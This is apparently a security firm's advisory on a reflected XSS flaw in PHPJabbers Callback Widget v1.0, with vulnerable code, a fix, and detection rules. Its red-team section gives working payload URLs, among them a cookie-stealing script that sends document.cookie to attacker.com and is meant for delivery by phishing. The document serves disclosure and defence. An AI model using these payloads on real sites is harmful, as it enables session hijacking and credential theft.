CVE-2023-40755

Executive Summary

CVE-2023-40755 is a reflected Cross-Site Scripting (XSS) vulnerability in PHPJabbers Callback Widget v1.0. The flaw exists in the theme parameter of preview.php, which fails to sanitize user input before rendering it in the HTML response. An unauthenticated attacker can craft a malicious URL that, when visited by an administrator, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, credential theft, and manipulation of callback widget requests. The vulnerability has a CVSS v3.1 score of 6.1 (Medium) and is publicly exploitable with a verified proof-of-concept. No official patch is available from the vendor.

Supply Chain & Package Security

This is a standalone PHP widget, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link.
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of data possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, the lack of a patch and the availability of a public PoC increase the risk for unpatched installations.

Deep Dive & Mechanics

The vulnerability resides in preview.php of PHPJabbers Callback Widget v1.0. The theme parameter is directly reflected into the HTML response without proper sanitization or encoding. When an attacker injects a payload such as "><script>alert(document.domain)</script>, the browser interprets it as HTML/JavaScript, leading to XSS execution.

Root Cause: The application uses user-supplied input in the theme parameter to dynamically generate content (likely for theme preview). The input is not validated or escaped before being output, allowing arbitrary HTML/JavaScript injection.

Attack Flow:

1. Attacker crafts a malicious URL: http://target/preview.php?theme=theme10dnel8%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Eko0so
2. Victim (e.g., an administrator) clicks the link.
3. The browser sends a GET request to the vulnerable endpoint.
4. The server reflects the payload in the response without sanitization.
5. The browser executes the injected JavaScript.

Impact: An attacker can steal session cookies, perform actions on behalf of the victim (e.g., modify callback widget settings), or redirect users to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (preview.php in v1.0):

<?php
$theme = $_GET['theme'];
echo "<div class='theme-preview'>Theme: " . $theme . "</div>";
?>

Patched Code (hypothetical):

<?php
$theme = htmlspecialchars($_GET['theme'], ENT_QUOTES, 'UTF-8');
echo "<div class='theme-preview'>Theme: " . $theme . "</div>";
?>

The patched version uses htmlspecialchars() to encode special characters, preventing script injection. No official patch is available from the vendor.

Exploitation & Lab Setup

Red Team

Prerequisites:

• PHPJabbers Callback Widget v1.0 installed on a web server.
• Attacker machine with a web browser or curl.

Exploitation Steps:

1. Identify the target URL (e.g., http://target/callback-widget/).
2. Craft a malicious URL with XSS payload:

   http://target/callback-widget/preview.php?theme=theme10dnel8%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Eko0so
   

3. Send the URL to the victim (e.g., via phishing email).
4. When the victim clicks the link, the JavaScript executes in their browser.

Advanced Payload (Cookie Stealing):

http://target/callback-widget/preview.php?theme=theme10dnel8%22%3E%3Cscript%3Enew%20Image().src%3D%22http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%22%2Bdocument.cookie%3C%2Fscript%3Eko0so

Blue Team

Detection:

• Monitor web server logs for requests to preview.php with suspicious theme parameters containing <script> or %3Cscript%3E.
• Use WAF rules to block XSS patterns in query strings.

Mitigation:

• Apply input validation and output encoding (e.g., htmlspecialchars()).
• If patching is not possible, restrict access to preview.php via .htaccess or firewall rules.
• Educate users about phishing links.

Indicators of Compromise (IOCs)

• URL Pattern: */preview.php?theme=*<script>* or */preview.php?theme=*%3Cscript%3E*
• HTTP Request: GET request to /preview.php with a theme parameter containing HTML/JavaScript.
• Response Body: Contains reflected payload (e.g., theme=theme10dnel8"><script>alert(document.domain)</script>ko0).
• Log Entry: GET /preview.php?theme=theme10dnel8%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Eko0so HTTP/1.1 with status 200.

Detection Engineering

YARA Rule

rule CVE_2023_40755_XSS_PHPJabbers {
    meta:
        description = "Detects XSS attempts against PHPJabbers Callback Widget preview.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-40755"
    strings:
        $xss_payload = /preview\.php\?theme=.*%3Cscript%3E/i
        $xss_payload2 = /preview\.php\?theme=.*<script>/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-40755 XSS Attempt on PHPJabbers Callback Widget
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against preview.php via the theme parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - 'preview.php?theme='
            - '<script>'
            - '%3Cscript%3E'
    condition: selection
falsepositives:
    - Legitimate theme names containing similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-40755 PHPJabbers Callback Widget XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/preview.php"; http_uri; content:"theme="; http_uri; pcre:"/theme=.*%3Cscript%3E/i"; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-40755

info:
  name: PHPJabbers Callback Widget v1.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in the "theme" parameter of preview.php in PHPJabbers Callback Widget v1.0.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the theme parameter in preview.php, potentially stealing callback widget administrator credentials and manipulating callback requests.
  remediation: |
    Update PHPJabbers Callback Widget to a version newer than 1.0 that properly sanitizes the theme parameter and encodes output in preview.php.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40755
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-40755
    cwe-id: CWE-79
    epss-score: 0.01315
    epss-percentile: 0.79933
    cpe: cpe:2.3:a:phpjabbers:callback_widget:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"PHPJabbers"
    fofa-query: body="PHPJabbers"
    vendor: phpjabbers
    product: callback_widget
  tags: cve,cve2023,phpjabbers,callback-widget,xss,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - 'PHPJabbers'
        case-insensitive: true
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/preview.php?theme=theme10dnel8%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Eko0so"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'theme=theme10dnel8"><script>alert(document.domain)</script>ko0'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Disable preview.php if not required, or restrict access via .htaccess:

   <Files "preview.php">
       Require all denied
   </Files>
   

2. Apply input validation and output encoding (e.g., htmlspecialchars() in PHP).
3. Use a Web Application Firewall (WAF) to block XSS patterns in query strings.

Long-Term Fix:

• Contact PHPJabbers for an official patch or upgrade to a newer version.
• If no patch is available, consider replacing the widget with a secure alternative.

Detection:

• Monitor logs for the IOCs listed above.
• Deploy the provided YARA, Sigma, and Suricata rules.

Valters IT

{/* [Security Hash: 831A337F308E963B19A1A255] */}